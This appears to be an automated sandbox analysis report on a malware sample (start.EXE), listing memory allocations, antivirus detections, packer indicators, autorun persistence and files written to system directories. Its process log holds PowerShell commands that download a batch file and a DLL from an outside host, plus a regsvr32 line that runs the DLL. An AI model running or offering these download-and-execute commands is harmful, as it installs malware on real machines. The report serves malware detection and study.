NtAllocateVirtualMemory Aug. 6, 2021, 9:17 a.m.	process_identifier: 2208 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002a32000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 6, 2021, 9:17 a.m.	process_identifier: 2208 region_size: 12288 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002a34000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 6, 2021, 9:17 a.m.	process_identifier: 2208 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff0011a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 6, 2021, 9:17 a.m.	process_identifier: 2208 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00053000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 6, 2021, 9:17 a.m.	process_identifier: 2208 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00054000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 6, 2021, 9:17 a.m.	process_identifier: 2208 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00142000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 6, 2021, 9:17 a.m.	process_identifier: 2208 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff0011d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 6, 2021, 9:17 a.m.	process_identifier: 2208 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff0010b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 6, 2021, 9:17 a.m.	process_identifier: 2208 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00102000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 6, 2021, 9:17 a.m.	process_identifier: 2208 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00055000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 6, 2021, 9:17 a.m.	process_identifier: 2208 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00190000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 6, 2021, 9:17 a.m.	process_identifier: 2208 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00043000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 6, 2021, 9:17 a.m.	process_identifier: 2208 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00056000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 6, 2021, 9:17 a.m.	process_identifier: 2208 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00143000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 6, 2021, 9:17 a.m.	process_identifier: 2208 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff0010c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 6, 2021, 9:17 a.m.	process_identifier: 2208 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00103000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 6, 2021, 9:17 a.m.	process_identifier: 2208 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff0004a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1

Creates executable files on the filesystem (1 event)

file	C:\Users\test22\AppData\Local\Temp\IXP000.TMP\start.bat

Creates a shortcut to an executable file (1 event)

file	C:\Users\test22\AppData\Roaming\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk

Creates a suspicious process (3 events)

cmdline	regsvr32 JavaE.dll
cmdline	powershell Invoke-WebRequest https://gucdhwpcfjmmcefypliv.com/nsudo.bat -OutFile nsudo.bat
cmdline	powershell Invoke-WebRequest https://gucdhwpcfjmmcefypliv.com/JavaE.dll -OutFile JavaE.dll

File has been identified by 7 AntiVirus engines on VirusTotal as malicious (7 events)

Cylance	Unsafe
APEX	Malicious
Cynet	Malicious (score: 100)
AhnLab-V3	Malware/Win64.Generic.C4286717
MaxSecure	Trojan.Malware.300983.susgen
Webroot	W32.Trojan.Gen
Cybereason	malicious.9b7a2f

The binary likely contains encrypted or compressed data indicative of a packer (2 events)

section

{u'size_of_data': u'0x0001e400', u'virtual_address': u'0x0000f000', u'entropy': 6.87779395753563, u'name': u'.rsrc', u'virtual_size': u'0x0001f000'}

entropy

6.87779395754

description

A section with a high entropy has been found

entropy

0.737804878049

description

Overall entropy of this PE file is high

Checks for the Locally Unique Identifier on the system for a suspicious privilege (2 events)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW Aug. 6, 2021, 9:17 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0
LookupPrivilegeValueW Aug. 6, 2021, 9:11 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

Uses Windows utilities for basic Windows functionality (1 event)

cmdline

powershell Invoke-WebRequest https://gucdhwpcfjmmcefypliv.com/nsudo.bat -OutFile nsudo.bat

Installs itself for autorun at Windows startup (1 event)

reg_key

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0

reg_value

rundll32.exe C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\test22\AppData\Local\Temp\IXP000.TMP\"

The process powershell.exe wrote an executable file to disk (19 events)

file	C:\Windows\System32\ie4uinit.exe
file	C:\Program Files\Windows Sidebar\sidebar.exe
file	C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file	C:\Windows\System32\xpsrchvw.exe
file	C:\Windows\System32\displayswitch.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file	C:\Windows\System32\mblctr.exe
file	C:\Windows\System32\mstsc.exe
file	C:\Windows\System32\SnippingTool.exe
file	C:\Windows\System32\SoundRecorder.exe
file	C:\Windows\System32\dfrgui.exe
file	C:\Windows\System32\msinfo32.exe
file	C:\Windows\System32\rstrui.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file	C:\Program Files\Windows Journal\Journal.exe
file	C:\Windows\System32\MdSched.exe
file	C:\Windows\System32\msconfig.exe
file	C:\Windows\System32\recdisc.exe
file	C:\Windows\System32\msra.exe

start.EXE

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